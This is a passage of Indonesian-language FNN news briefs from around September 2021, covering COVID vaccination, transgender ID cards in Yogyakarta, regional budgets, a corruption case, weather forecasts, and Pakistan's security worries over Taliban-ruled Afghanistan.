katanya. Pada kesempatan itu, Gubernur berterima kasih kepada Yayasan Taman Pendidikan dan Sosial Khadijah yang menyelenggarakan vaksinasi bagi siswa dan diharapkan sekolah-sekolah swasta lain juga melakukannya. "Untuk sekolah-sekolah swasta juga tolong bisa dikoordinasikan dengan Dinas Kesehatan dan Dinas Pendidikan setempat. Insya Allah vaksin yang akan turun pada pekan ini akan lebih banyak Sinovac," tutur mantan Menteri Sosial tersebut. (sws)

Yogyakarta Terbitkan Dua KTP untuk Warga Transgender

Yogyakarta, FNN - Dinas Kependudukan dan Pencatatan Sipil Kota Yogyakarta menerbitkan dua KTP elektronik untuk warga dari kelompok marjinal, yaitu dua transgender setelah memastikan data kependudukan yang disampaikan valid dan tunggal. "Kami bekerja sama dengan komunitas yang menaungi mereka. Sebenarnya ada delapan data yang dikirim, tetapi satu warga meninggal dunia dan baru dua pemohon yang datanya memenuhi syarat saat diverifikasi," kata Kepala Bidang Pelayanan Kependudukan dan Pencatatan Sipil Kota Yogyakarta Bram Prasetyo di Yogyakarta, Rabu. Sebelum menerbitkan KTP, Dinas Kependudukan dan Pencatatan Sipil Kota Yogyakarta melakukan verifikasi dan klarifikasi langsung kepada pemohon untuk memastikan kebenaran data dengan mengundang komunitas tempat mereka bernaung, pendamping, hingga pengurus RT dan RW di tempat domisili. Karena seluruh data dapat dibuktikan kebenarannya, penerbitan KTP elektronik untuk dua transgender tersebut juga tidak membutuhkan waktu lama, hanya sekitar 30 menit usai data dinyatakan tunggal, KTP sudah diterbitkan. Di dalam KTP, Bram menegaskan bahwa jenis kelamin tetap akan ditulis sesuai jenis kelamin awal atau sesuai kodratnya, kecuali sudah ada keputusan dari pengadilan terkait penggantian kelamin. "Untuk foto di KTP, mereka bisa berfoto dengan gaya rambut panjang atau mengenakan riasan wajah sekalipun," ucapnya. Selain menerbitkan KTP elektronik, juga diterbitkan KK baru untuk warga tersebut. Keduanya masuk dalam KK pengampu atau penanggung jawab di komunitasnya. Pada tahun lalu, Dinas Kependudukan dan Pencatatan Sipil Kota Yogyakarta juga sudah menerbitkan satu KTP elektronik untuk transgender sehingga total sudah ada tiga KTP elektronik yang diterbitkan untuk kelompok marjinal tersebut. Bram mengatakan, warga transgender yang mengakses layanan KTP elektronik di Kota Yogyakarta tersebut biasanya bukan merupakan warga Kota Yogyakarta, tetapi sudah berdomisili cukup lama di Yogyakarta dan berasimilasi dengan warga sekitar. Selain untuk kelompok transgender, layanan administrasi kependudukan bagi kelompok marjinal juga diberikan kepada warga disabilitas hingga lanjut usia. Permohonan administrasi kependudukan untuk kelompok marjinal, lanjut Bram mengalami kenaikan selama program vaksinasi COVID-19 berjalan karena warga membutuhkan nomor induk kependudukan (NIK) sehingga data vaksinasi dapat terhubung dengan aplikasi Peduli Lindungi. (sws)

Kemenkumham Tegaskan Komitmen Indonesia Atasi Kejahatan Lintas Negara

Jakarta, FNN - Menteri Hukum dan Hak Asasi Manusia (Menkumham) Yasonna Laoly menegaskan komitmen Indonesia mengatasi kejahatan lintas negara yang memanfaatkan keterbatasan yurisdiksi dan celah akibat perbedaan sistem hukum antarnegara. "Indonesia memiliki komitmen yang kukuh untuk melaksanakan penegakan hukum terhadap kejahatan lintas negara melalui kerja sama internasional," kata Yasonna Laoly di Jakarta, Rabu. Hal tersebut disampaikannya terkait penjelasan Presiden atas Rancangan Undang-Undang (RUU) tentang Pengesahan Perjanjian antara Republik Indonesia dan Federasi Rusia terkait bantuan hukum timbal balik dalam masalah pidana pada rapat bersama Komisi III DPR RI. Komitmen tersebut diwujudkan dalam bentuk perjanjian terkait mekanisme bantuan hukum hukum timbal balik dalam masalah pidana (mutual legal assistance in criminal matters). Pelaku kejahatan, kata Yasonna, sering memanfaatkan perbedaan sistem hukum dan celah hukum antarnegara termasuk keterbatasan yurisdiksi suatu negara untuk menjangkau pelaku tindak pidana. Oleh sebab itu, kerja sama penegakan hukum melalui mekanisme bantuan hukum timbal balik akan menjadi instrumen yang mampu menjawab tantangan keterbatasan yurisdiksi dan perbedaan sistem hukum. Perjanjian di bidang hukum tersebut akan semakin meningkatkan hubungan baik kedua negara yang sudah terjalin sejak 1950. Selain itu, Yasonna juga mengatakan Rusia punya pengaruh geopolitik dan geoekonomi yang penting di kawasan Eropa Timur. Perjanjian hukum timbal balik tersebut, juga bakal mendukung upaya pemerintah untuk menjadi anggota Financial Action Task Force (FATF). Pembentukan perjanjian bantuan hukum timbal balik dalam masalah pidana dengan negara-negara strategis juga akan mendukung upaya pemerintah menjadi anggota FATF. Keanggotaan Indonesia dalam FATF bakal meningkatkan persepsi positif terhadap Indonesia sehingga dapat lebih menarik sebagai tujuan bisnis dan investasi. Hal tersebut diharapkan berkontribusi meningkatkan peringkat kemudahan berusaha Indonesia dari posisi 73 menjadi peringkat di bawah 40. Saat ini Indonesia tercatat sudah menjalin bantuan hukum timbal balik dengan sejumlah negara yang sudah diratifikasi menjadi undang-undang yakni Australia, China, Korea Selatan, Vietnam, serta Swiss. Beberapa perjanjian bantuan hukum timbal balik lain yang masih dalam proses ratifikasi yakni dengan Uni Emirat Arab, Iran dan Rusia. (sws)

Kemenkes: Vaksin COVID-19 Terbaik Adalah yang Tersedia Saat Ini

Jakarta, FNN - Juru Bicara Vaksinasi COVID-19 Kementerian Kesehatan RI Siti Nadia Tarmizi menegaskan vaksin COVID-19 terbaik adalah yang ada tersedia saat ini di Indonesia. "Masyarakat tetap diimbau agar apapun jenis vaksinnya, ingat tidak usah khawatir karena pasti sudah dijamin keamanannya, mutu dan kualitasnya serta efektivitasnya," kata Siti Nadia Tarmizi dalam agenda konferensi pers secara virtual yang dipantau dari Jakarta, Rabu. Badan Pengawas Obat dan Makanan (BPOM) telah menerbitkan 'emergency use authorization' (EUA) terhadap tujuh jenis vaksin COVID-19 di Indonesia sejak Januari 2021 hingga saat ini. Jenis vaksin yang sudah mendapat EUA dari BPOM yakni Sinovac, vaksin COVID-19 PT Bio Farma, AstraZeneca, Sinopharm, Moderna, Pfizer, dan Sputnik V. Setiap jenis vaksin memiliki karakter masing-masing, misalnya jumlah dosis dan interval penyuntikan. Meski dalam proses pembuatan vaksin memiliki perbedaan platform seperti inactivated virus, berbasis RNA, viral-vector, dan sub-unit protein, kata Nadia, namun semuanya sudah dipastikan keamanannya dan efektivitasnya dalam melindungi penerima manfaat dari kondisi kesakitan bahkan kematian akibat COVID-19. Nadia mengatakan sejak Agustus 2021, laju suntikan di Indonesia meningkat hingga 1 juta per hari, bahkan pernah mencapai angka 1,7 juta dosis penyuntikan per hari. "Akan kita teruskan untuk meningkatkan laju vaksinasi pada bulan September sejalan dengan bertambahnya jumlah vaksin yang akan kita distribusikan rata-rata delapan sampai 15 juta dosis ke daerah," ujarnya. Sampai saat ini, kata Nadia, total 144 juta dosis vaksin telah didistribusikan kepada pemerintah daerah. (sws)

Imigrasi Sabang Luncurkan Aplikasi Permudah Bikin Paspor Saat Pandemi

Banda Aceh, FNN - Kantor Imigrasi Kelas II TPI Sabang meluncurkan layanan inovasi baru berupa aplikasi e-Perdim Online, dalam upaya mempermudah para pemohon untuk pembuatan paspor selama pandemi COVID-19. Kepala Kantor Imigrasi Hanton Hazali, Rabu, mengatakan inovasi dalam sektor pelayanan merupakan hal yang sangat penting dalam upaya memberikan pelayanan prima kepada masyarakat, apalagi di tengah wabah virus yang belum ada tanda berakhir ini. “Aplikasi e-Perdim II Online ini merupakan aplikasi yang dikembangkan dalam rangka memudahkan pemohon paspor dalam melakukan pengisian Perdim atau formulir,” kata Hanton di Kota Sabang. Pengisian data tersebut sesuai dengan Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 8 Tahun 2014 tentang Paspor Biasa dan Surat Perjalanan Laksana Paspor. Ia menjelaskan bahwa pembuatan aplikasi tersebut dilatarbelakangi karena banyaknya kolom yang perlu diisikan oleh para pemohon saat berada di Kantor Imigrasi Sabang ketika melakukan pembuatan paspor. Memang, kata dia, kolom-kolom pilihan jenis permohonan yang terdapat pada formulir pembuatan paspor tersebut dapat membingungkan pemohon dalam pengisian, sehingga menghabiskan banyak waktu saat pengisian. “Karena tidak familiarnya pemohon dalam pengisian formulir Perdim ini maka menjadi penyebab utama dalam keterlambatan pengisian formulir,” katanya. Ia menyebutkan inovasi tersebut juga untuk mengantisipasi terjadinya penumpukan orang di Kantor Imigrasi Sabang pada saat proses pengisian formulir di tengah pandemi COVID-19. Melalui aplikasi tersebut, kata dia, masyarakat dapat lebih dulu melakukan pengisian Perdim, kemudian baru mendatangi Kantor Imigrasi Sabang untuk mengikuti tahap selanjutnya yakni verifikasi berkas. “Jadi perubahan mekanisme pengisian Perdim Online ini agar diperlukan agar dapat memangkas waktu, proses, dan penumpukan pemohon di Kantor Imigrasi Sabang menggunakan aplikasi ini secara online,” katanya. (sws)

Guru Besar: Putusan Dosen Unsyiah Tak Berpihak Kebebasan Akademik

Jakarta, FNN - Guru Besar Hukum Tata Negara Universitas Padjajaran Prof Susi Dwi Harijanti mengatakan putusan bersalah oleh Mahkamah Agung (MA) dan lembaga peradilan terhadap dosen Universitas Syiah Kuala (Unsyiah) Saiful Mahdi tidak mencerminkan keberpihakan pada kebebasan akademik. "Bahwa badan peradilan kita terutama hakim-hakim memperlihatkan ketidakberpihakan kepada kebebasan akademik," kata dia, dalam eksaminasi putusan kebebasan ekspresi dan kebebasan akademik secara virtual, di Jakarta, Rabu. Pengadilan Negeri (PN) Banda Aceh memvonis Saiful Mahdi tiga bulan penjara dan denda subsider Rp10 juta, subsider satu bulan penjara. Tidak terima atas putusan PN Banda Aceh, dosen Unsyiah tersebut mengajukan banding dan kasasi namun berakhir kandas. Kasus bermula saat Saiful Mahdi menyampaikan kritik di salah satu grup WhatsApp terkait penerimaan calon pegawai negeri sipil (CPNS) di kampus tempat ia mengajar. Namun, kritikan yang disampaikan oleh dosen Fakultas Matematika dan Ilmu Pengetahuan Alam tersebut dituding telah melanggar ketentuan yang ada di dalam Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik (ITE). Selain berpandangan MA dan lembaga peradilan tidak mencerminkan keberpihakan pada kebebasan akademik, Susi melihat fungsi-fungsi pendidikan juga gagal dilihat oleh lembaga peradilan di Tanah Air. "Karena tidak melihat lembaga pendidikan mempunyai fungsi utama mengembangkan keilmuan yang berpegang teguh pada kebebasan akademik," ujar dia. Jika kebebasan akademik menjadi salah satu hal yang penting dalam mengembangkan ilmu pengetahuan dan harus ditopang dalam sistem yang menyeluruh, maka hal itu mencerminkan kegagalan badan peradilan. Secara umum, dari kasus yang menimpa dosen Unsyiah tersebut, Susi mengatakan runtuhnya dunia pendidikan tinggi hukum disebabkan oleh dua hal. Pertama, faktor internal. Dalam kasus ini apakah universitas telah melakukan dialog yang egaliter dengan Saiful Mahdi. Selain itu, universitas memperlihatkan pimpinannya tidak memiliki karakter pemimpin akademik melainkan lebih kepada pemimpin birokrat administratif. Kedua, yang bisa menyebabkan runtuhnya pendidikan hukum ialah faktor eksternal. Hal ini lebih kepada ikut campurnya cabang-cabang kekuasaan dalam sebuah negara. Dalam kasus yang menjerat dosen Unsyiah tersebut merujuk ke penggunaan pasal-pasal karet yang dikenakan kepada orang-orang yang dianggap "membahayakan" kepentingan kelompok tertentu.(sws)

Kemendagri Apresiasi Realisasi APBD 2021 di Sejumlah Pemda

Jakarta, FNN - Kementerian Dalam Negeri (Kemendagri) mengapresiasi pencapaian realisasi anggaran pendapatan dan belanja daerah (APBD) sejumlah pemerintah daerah (pemda) di Tahun Anggaran 2021. Dalam keterangan yang diterima, Sekretaris Jenderal Kemendagri Muhammad Hudori mengatakan Mendagri Tito Karnavian juga telah menyampaikan apresiasi tersebut kepada berbagai pemda. "Berdasarkan hasil monev (monitor dan evaluasi) yang dilakukan Ditjen Keuda (Keuangan Daerah), Pak Mendagri telah memberikan apresiasi kepada pemerintah daerah untuk pencapaian realisasi APBD Tahun 2021," kata Hudori di Jakarta, Rabu. Dia mengatakan rata-rata pemerintah provinsi mencapai realisasi APBD Tahun 2021 sebesar 40,13 persen sesuai data per 6 Agustus 2021. Percepatan realisasi APBD berperan penting dalam pertumbuhan ekonomi nasional. Oleh karena itu, Hudori memperingatkan seluruh pemda untuk bersinergi dalam mempercepat realisasi APBD secara tepat dan cepat. "Ini yang sering disampaikan oleh Bapak Presiden, karena pertumbuhan ekonomi di tingkat nasional itu membutuhkan sinergi untuk mempercepat realisasi APBN dan APBD," tuturnya. Pemerintah provinsi dengan realisasi APBD di atas rata-rata nasional ialah Gorontalo (52,57 persen), Lampung (50,27 persen), Nusa Tenggara Barat (49,32 persen), Sumatera Utara (49,30 persen) dan Kalimantan Selatan (48,91 persen). Sementara itu pemerintah kabupaten dengan realisasi terbaik ialah Kabupaten Grobogan (54,79 persen), Kabupaten Kulon Progo (54,64 persen), Kabupaten Cianjur (54,42 persen), Kabupaten Pati (51,61 persen) serta Kabupaten Kaur (50,64 persen). Di tingkat pemerintah kota, daerah dengan realisasi terbaik ialah Kota Denpasar (47,31 persen), Kota Palu (46,38 persen), Kota Banjar Baru (45,82 persen), Kota Metro (45,56 persen) dan Kota Ternate (45,49 persen). Berdasarkan data Badan Pusat Statistik (BPS), pertumbuhan ekonomi nasional di kuartal kedua mencapai 7,07 persen year on year, yang merupakan titik balik setelah kuartal sebelumnya dimana terjadi kontraksi pada posisi -0,74 persen. (sws)

Realisasi Anggaran Ditjen Perkeretaapian Capai 49,17 Persen

Jakarta, FNN - Realisasi penyerapan anggaran Ditjen Perkeretaapian Kementerian Perhubungan hingga Agustus tahun 2021 mencapai 49,17 persen atau setara Rp 3,94 triliun dari total pagu sebesar Rp 8 triliun. "Capaian ini melebihi capaian realisasi tahun 2020 pada bulan yang sama yaitu sebesar 37,8 persen," kata Direktur Jenderal Perkeretaapian Kementerian Perhubungan, Zulfikri dalam Rapat Dengar Pendapat bersama Komisi V DPR RI di Jakarta, Rabu. Zulfikri menjelaskan pagu anggaran Ditjen Perkeretaapian sebesar Rp8 triliun dibagi menjadi tiga komponen yakni belanja pegawai sebesar Rp 106 miliar, belanja barang Rp 1,19 triliun, dan belanja modal Rp 6,73 triliun. Sumber dana diperoleh dari Rupiah Murni (RM) sebesar Rp 3,35 triliun, Surat Berharga Syariah Negara (SBSN) Rp 4,56 triliun, Pinjaman dan Hibah Luar Negeri (PHLN) Rp 16,24 miliar, dan BLU Rp12,58 miliar. Lanjut Zulfikri, Ditjen Perkeretaapian pada tahun 2021 memfokuskan pada kegiatan pembangunan prasarana kereta api sebanyak 14 kegiatan, pembangunan jalur kereta api dalam 3 segmen, dan fasilitas operasi sebanyak 5 kegiatan yang tersebar di Pulau Sumatera, Jawa, dan Sulawesi. "Selain itu pekerjaan utilitas dan penyempurnaan segmen Bandar Tinggi-Kuala Tanjung dan penyediaan subsidi perintis kereta api pada 9 lintas layanan," ujarnya. Zulfikri menegaskan pihaknya akan terus mempercepat pelaksanaan anggaran dengan memperhitungkan waktu pelaksanaan sampai dengan bulan Desember 2021. "Kegiatan yang sudah kontrak dan dalam masa pelaksanaan agar dimonitor secara ketat dan pembayarannya dilakukan secara tertib untuk menghindari penumpukan di akhir tahun," pungkasnya. (mth)

Produksi Ikan di Pelabuhan Sungailiat pada Agustus Lampaui Target

Sungailiat, Bangka, FNN - Produksi ikan hasil tangkapan nelayan di Pelabuhan Perikanan Nusantara (PPN) Sungailiat, Provinsi Kepulauan Bangka Belitung, pada Agustus 2021 mencapai 514 ton lebih atau melampaui target yang ditetapkan sebanyak 499,7 ton. Sub Koordinator Operasional Pelabuhan PPN Sungailiat Purwanti di Sungailiat, Rabu, mengatakan jumlah tangkapan ikan itu dari 462 kapal yang mendaratkan ikan di pelabuhan itu. "Ratusan ton produksi dengan berbagai jenis ikan baik kualitas pasar lokal maupun ekspor tersebut senilai Rp13,4 miliar dari jumlah kapal yang melakukan pembongkaran hasil sebanyak 462 unit," jelasnya. Menurut dia, tercapainya target produksi ikan hasil tangkapan nelayan yang menggunakan kapal penangkapan dengan kapasitas rata-rata di bawah 10 gross ton tersebut karena dipengaruhi oleh banyaknya kapal yang turun melaut melakukan aktivitas penangkapan. "Selain banyaknya kapal yang melaut mencari ikan, kondisi gelombang air laut atau di perairan penangkapan relatif aman sehingga tidak menghambat aktivitas penangkapan," jelas Purwanti. Dikatakan, nelayan menjual ikan hasil tangkapan disesuaikan dengan jenis ikan, kualitas ekspor dijual langsung ke perusahaan eksportir dan ikan yang kualitas lokal dipasarkan langsung ke pasar atau pedagang pengumpul. "Saya ingatkan seluruh nelayan saat melakukan penangkapan ikan di laut agar benar-benar memperhatikan keselamatan kerja, kapal penangkapan hendaknya dilengkapi perlengkapan keselamatan seperti jaket pelampung dan alat lainnya," jelasnya. (mth)

KPK: 7 Kepala Daerah Terlibat Kasus Jual-Beli Jabatan pada 2016-2021

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mencatat ada tujuh kasus jual beli jabatan dilakukan oleh kepala daerah yang kasusnya ditangani KPK dalam periode 2016-2021. "KPK mencatat kasus jual beli jabatan di lingkungan pemda sejak 2016 hingga 2021 ini telah melibatkan 7 bupati, yaitu Klaten, Nganjuk, Cirebon, Kudus, Jombang, Tanjungbalai, dan terakhir Probolinggo," kata Plt Juru Bicara KPK Ipi Maryati Kuding di Jakarta, Rabu. Ketujuh kepala daerah tersebut adalah Bupati Klaten Sri Hartini, Bupati Nganjuk Novi Rahman Hidayat, Bupati Cirebon Sunjaya Purwadisastra, Bupati Kudus Muhammad Tamzil, Bupati Jombang Nyono Suharli Wihandoko, Wali Kota Tanjungbalai M Syahrial dan Bupati Probolinggo Puput Tantriana Sari. "Terus berulangnya kasus korupsi terkait pengisian jabatan di lingkungan pemerintah daerah, KPK mengingatkan kepada para kepala daerah agar menjauhi potensi benturan kepentingan dan penyalahgunaan wewenang, khususnya dalam proses lelang jabatan, rotasi, mutasi dan promosi Aparatur Sipil Negara (ASN) di lingkungan pemerintahannya," tambah Ipi. Jual beli jabatan, diakui Ipi, menjadi salah satu modus korupsi yang kerap dilakukan kepala daerah. "Dari hasil pemetaan KPK atas titik rawan korupsi di daerah, KPK mengidentifikasi beberapa sektor yang rentan terjadi korupsi, yaitu di antaranya terkait belanja daerah seperti pengadaan barang dan jasa," ungkap Ipi. Kemudian korupsi pada sektor penerimaan daerah mulai dari pajak dan retribusi daerah maupun pendapatan daerah dari pusat dan korupsi di sektor perizinan mulai dari pemberian rekomendasi hingga penerbitan perizinan. Dalam upaya pencegahan korupsi melalui perbaikan tata kelola pemerintahan daerah, KPK telah mendorong diimplementasikannya Monitoring Center for Prevention (MCP). "Manajemen ASN merupakan salah satu dari delapan fokus area intervensi perbaikan tata kelola pemda yang terangkum dalam aplikasi tersebut," tambah Ipi. Kedelapan area intervensi tersebut adalah Perencanaan dan Penganggaran APBD, Pengadaan Barang dan Jasa, Perizinan, Pengawasan Aparat Pengawas Intern Pemerintah (APIP), Manajemen ASN, Optimalisasi Pajak Daerah, Manajemen Aset Daerah, dan Tata Kelola Keuangan Desa. "Untuk mencegah benturan kepentingan dan penyalahgunaan wewenang kepala daerah dalam pengisian jabatan, KPK mendorong diimplementasikannya manajemen ASN berbasis 'merit system'," ungkap Ipi. Dalam aplikasi MCP, terdapat lima indikator keberhasilan yang disyaratkan bagi pemda untuk dipenuhi, yaitu meliputi: ketersediaan regulasi manajemen ASN berupa Peraturan Kepala Daerah (Perkada) atau Surat Kepala Kepala Daerah; sistem informasi; kepatuhan Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) dan pengendalian gratifikasi; tata kelola SDM; serta pengendalian dan pengawasan. Keberhasilan daerah dalam mewujudkan manajemen ASN yang mengedepankan nilai-nilai profesionalisme dan integritas, menurut Ipi, sangat tergantung pada komitmen kepala daerah dalam menerapkan prinsip-prinsip tata kelola SDM yang akuntabel dan bebas kepentingan. "Termasuk tidak menjadikan proses pengisian jabatan di instansinya sebagai lahan untuk korupsi," kata Ipi. (mth)

Serangan Hama Tikus di Tapanuli Selatan Meluas

Sipirok, FNN - Serangan hama tikus di Kabupaten Tapanuli Selatan, Sumatera Utara, semakin meluas yang saat ini diperkirakan kerusakan sudah mencapai lebih dari 40 hektare lahan sawah. "Padi sawah seluas itu mulai rusak ringan hingga berat karena seangan hama tikus," kata Petugas Organisme Pengganggu Tumbuhan (POPT)-Petugas Hama Penyakit (PHP) Kecamatan Angkola Muaratais - Batang Angkola, Ali Husni di Sipirok, Rabu. Ia merinci lahan sawah padi rusak berat dan ringan sementara di Kecamatan Angkola Muaratais lebih kurang 34,5 hektare dan di Kecamatan Batang Angkola sekitar 8,5 hektare dari sebelumnya yang hanya belasan hektare. "Upaya kita lakukan saat ini kegiatan pengendalian organisme pengganggu tumbuhan (OPT) tikus dengan pengumpanan dan sanitasi seperti di Desa Sipangko, Angkola Muaratais," katanya. Turut terlibat dalam pengendalian OPT tikus tersebut pihak BPP Huta Holbung, POPT-PHP, PPL, KTNA dan anggota kelompok tani dan brigade Tapsel UPT BPTPH 1 medan Dinas Tanaman Pangan dan Hortikultura Medan. "Disamping itu dalam pekan ini kita juga akan melakukan kegiatan gropyokan dengan berburu hama tikus secara massal," kata Ali Husni. Aksi perburuan (geropyokan) hama tikus dilakukan setelah hasil musyawarah antara POPT-PHP, BPP Huta Holbung, PPL bersama Kelompok Tani dan akan melibatkan warga petani lokasi masing-masing. "Kegiatan geropyokan nantinya diharap dapat meminimalisir serangan hama tikus yang juga merusak mata pencarian masyarakat sebagai petani sawah," katanya. (mth)

BMKG: Sulteng Berpotensi Hujan Lebat 20 Hari ke Depan

Palu, FNN - Badan Meteorologi Klimatologi dan Geofisika (BMKG) memprediksi wilayah Sulawesi Tengah secara merata masih berpotensi diguyur hujan lebat dalam 20 hari ke depan di bulan September 2021 ini. "Iya, provinsi ini masih sangat berpotensi hujan baik intensitas lebat, sedang maupun ringan hingga dasarian kedua di bulan September," kata Kepala BMKG Stasiun Meteorologi Kelas II Mutiara Sis Al-Jufri Palu, Nur Alim yang dihubungi di Palu, Rabu. Ia menjelaskan berdasarkan edaran Deputi Klimatologi BMKG Pusat per tanggal 23 Agustus 2021 menjadi pedoman pihaknya memprediksi cuaca 20 hari ke depan untuk diinformasikan ke publik. Selain itu, BMKG juga membagi zona wilayah berstatus awas, waspada dan siaga menghadapi potensi cuaca buruk. Pada wilayah waspada, BMKG berkosentrasi pada Kabupaten Parigi Moutong, Tolitoli, Buol, Banggai, Morowali Utara dan Morowali serta Kabupaten Donggala. Lalu status awas atau kategori potensi hujan lebat yakni wilayah Kabupaten Sigi, Poso dan Tojo Una-Una. "Wilayah masuk kategori waspada yang perlu di waspadai yakni lereng-lereng gunung termasuk pada jalur transportasi darat di kawasan pegunungan seperti jalur Trans Sulawesi Palu-Parigi atau jalur kebun kopi, lalu jalur Trans Sulawesi Pantai Barat di Kabupaten Donggala yang berpotensi terjadi longsor," ujar Alim. Ia memaparkan pada zona berstatus awas, BMKG masih berkonsentrasi di wilayah Kecamatan Kulawi dan Dolo Selatan, Kabupaten Sigi, kemudian wilayah-wilayah rendah pesisir pantai Kabupaten Poso dan Tojo Una-Una sebagai mana pantauan dari citra satelit. "Pada wilayah kategori awas berpotensi banjir bandang dan longsor, oleh karena itu perlu kewaspadaan dini warga di wilayah-wilayah yang kami maksud," papar Alim. Ia menambahkan, Kota Palu saat ini berstatus normal meskipun hujan masih mengguyur dengan intensitas lebat, sedang maupun ringan. Meski begitu, BMKG juga mengimbau warga di perkotaan senantiasa tetap waspada terhadap genangan air serta tetap memperhatikan kebersihan lingkungan terutama pada saluran air. "Artinya, kita jangan mengabaikan hal-hal kecil. Justru hal kecil bisa memicu genangan air meskipun tidak membahayakan kondisi keselamatan jiwa, tetapi bisa mengganggu aktivitas warga," demikian Alim. (mth)

ADB Tunjuk Direktur Baru untuk Indonesia

Jakarta, FNN - Asian Development Bank (ADB) atau Bank Pembangunan Asia menunjuk Jiro Tominaga sebagai Direktur ADB yang baru untuk Indonesia menggantikan Winfried Wicklein yang kini menjabat sebagai Deputi Direktur Jenderal ADB untuk Asia Tenggara. “Saya siap meningkatkan kemitraan kita dan bekerja sama dengan pemerintah serta pemangku kepentingan lainnya untuk mendukung agenda pembangunan Indonesia,” kata Jiro di Jakarta, Rabu. Jiro Tominaga akan memimpin operasi ADB di Indonesia, mengelola hubungan ADB dengan pemerintah dan mitra pembangunan, serta mengawasi implementasi strategi kemitraan ADB untuk Indonesia periode 2020 sampai 2024. Strategi ini bertujuan untuk membantu Indonesia bangkit lebih kuat dari pandemi COVID-19 dengan mendukung pembangunan manusia, daya saing ekonomi, manajemen risiko bencana, dan keberlanjutan lingkungan. Jiro Tominaga sendiri merupakan warga negara Jepang yang bergabung dengan ADB pada 2015 dengan jabatan Spesialis Perencanaan dan Kebijakan Utama atau Principal Planning and Policy Specialist. Jiro yang meraih sarjana ekonomi dari Universitas Keio dan magister ekonomi dari London School of Economics ini juga sempat menjabat sebagai Direktur bidang Strategi, Kebijakan, dan Proses Bisnis ADB. Jiro memulai karier 30 tahunnya di Dana Jepang untuk Kerja Sama Ekonomi Luar Negeri yang kini bernama Bank Jepang untuk Kerja Sama Internasional atau Japan Bank for International Cooperation. Jiro juga pernah bekerja di Kementerian Keuangan Jepang dan Bank Dunia dengan fokus pada penggunaan teknologi informasi dan komunikasi dalam penyampaian layanan publik dan evaluasi independen. (mth)

Pakistan Resah Atas Ancaman Keamanan dari Afghanistan

Islamabad, FNN - Kekhawatiran berkembang di antara para pejabat Pakistan tentang ancaman keamanan dari negara tetangga, Afghanistan, saat Taliban mencoba membentuk pemerintahan dan menstabilkan negara itu setelah kepergian pasukan Amerika Serikat dan negara-negara asing lainnya. Islamabad sangat khawatir tentang kemungkinan para milisi kelompok terpisah, Taliban Pakistan, menyeberang dari Afghanistan dan meluncurkan serangan mematikan di wilayahnya. Sudah ribuan orang Pakistan tewas dalam dua dekade terakhir akibat kekerasan yang dilancarkan kelompok garis keras. Dalam beberapa hari terakhir, sebuah serangan bom bunuh diri di luar bandara Kabul --yang diklaim dilakukan oleh cabang ISIS di Afghanistan-- di luar bandara Kabul menewaskan lebih dari 100 orang, termasuk 13 tentara Amerika Serikat. Mngutip Antara, kejadian itu menyoroti kecenderungan bahwa Afghanistan sedang menghadapi ancaman keamanan. Sebuah serangan roket terjadi di bandara Kabul, dan pada Minggu (29/8), tembakan oleh para anggota militan Taliban dari seberang perbatasan di Afghanistan menewaskan dua tentara Pakistan. "(Kondisi pada) dua hingga tiga bulan ke depan sangat penting," kata seorang pejabat tinggi Pakistan. Pejabat itu menambahkan bahwa Islamabad mengkhawatirkan peningkatan serangan militan di sepanjang perbatasan Afghanistan-Pakistan ketika Taliban mencoba mengisi kekosongan yang ditinggalkan oleh runtuhnya pemerintahan dan pasukan Afghanistan yang didukung negara-negara Barat. "Kita (masyarakat internasional) harus membantu Taliban dalam mengatur kembali tentaranya agar dapat mengendalikan wilayahnya," kata pejabat itu. Ia merujuk merujuk pada ancaman yang ditimbulkan oleh kelompok-kelompok militan saingan yang bangkit kembali, termasuk ISIS. Para pejabat AS telah berulang kali menuduh Pakistan mendukung Taliban Afghanistan, yang mengangkat senjata dalam perang saudara pada pertengahan 1990-an sebelum merebut kekuasaan pada 1996. Islamabad, salah satu dari sedikit ibu kota yang mengakui pemerintah Taliban yang digulingkan pada 2001, membantah tuduhan itu. Pemerintah Pakistan telah mengatakan bahwa pengaruhnya terhadap gerakan itu telah berkurang, terutama sejak kepercayaan Taliban tumbuh setelah Washington mengumumkan tanggal penarikan penuh pasukan AS dan pasukan negara-negara lainnya. Pejabat Pakistan itu, yang mengetahui langsung keputusan yang diambil negara menyangkut keamanan, mengatakan Pakistan berencana mengirim pejabat keamanan dan intelijennya ke Kabul untuk membantu Taliban mengatur ulang militer Afghanistan. Bahkan, pejabat keamanan Pakistan yang akan dikirim mungkin adalah kepala Intelijen Antar-Layanan (ISI), badan sangat berpengaruh yang dimiliki Pakistan. Seorang juru bicara Taliban Afghanistan belum menanggapi permintaan Reuters untuk mengomentari tentang hubungan keamanan Afghanistan dengan Pakistan. Pakistan Harapkan Kerja Sama Taliban Meskipun pengakuan pemerintahan baru Taliban belum dibahas, pejabat Pakistan itu mengatakan dunia tidak boleh meninggalkan Afghanistan. "Apakah kita mengakui pemerintah Taliban atau tidak, memastikan stabilitas di Afghanistan sangat penting," ujarnya. Pejabat itu memperingatkan bahwa kelompok ISIS Khorasan (ISIS-K), sebuah cabang ISIS yang berafiliasi bebas dengan ISIS di Suriah dan Irak, secara aktif berupaya untuk meluncurkan serangan dan merekrut para pejuang baru. Amerika Serikat baru-baru ini meluncurkan dua serangan pesawat tak berawak yang menargetkan berbagai fasilitas kelompok militan ISIS-K, termasuk satu di Kabul dan satu di dekat perbatasan timur dengan Pakistan. Serangan itu dilakukan menyusul janji Presiden Joe Biden bahwa Amerika Serikat akan memburu orang-orang militan yang menjadi dalang di balik serangan bom bunuh diri baru-baru ini. Taliban mengkritik tindakan itu sebagai "serangan yang jelas dilakukan di wilayah Afghanistan". Pakistan, yang angkatan bersenjatanya juga memiliki pesawat tak berawak serta pesawat konvensional, akan menghindari intervensi langsung di Afghanistan jika memungkinkan, kata pejabat itu. Taliban Afghanistan telah meyakinkan negara tetangga bahwa mereka tidak akan membiarkan wilayahnya digunakan oleh siapa pun yang merencanakan serangan ke Pakistan atau negara lain. Namun, pejabat itu menambahkan bahwa Islamabad mengharapkan Taliban Afghanistan menyerahkan para milisi yang merencanakan serangan terhadap Pakistan, atau setidaknya memaksa mereka pergi dari perbatasan Afghanistan-Pakistan. Di daerah perbatasan itu, pasukan Pakistan dalam beberapa pekan terakhir selalu berada dalam keadaan siaga tinggi. (mth)

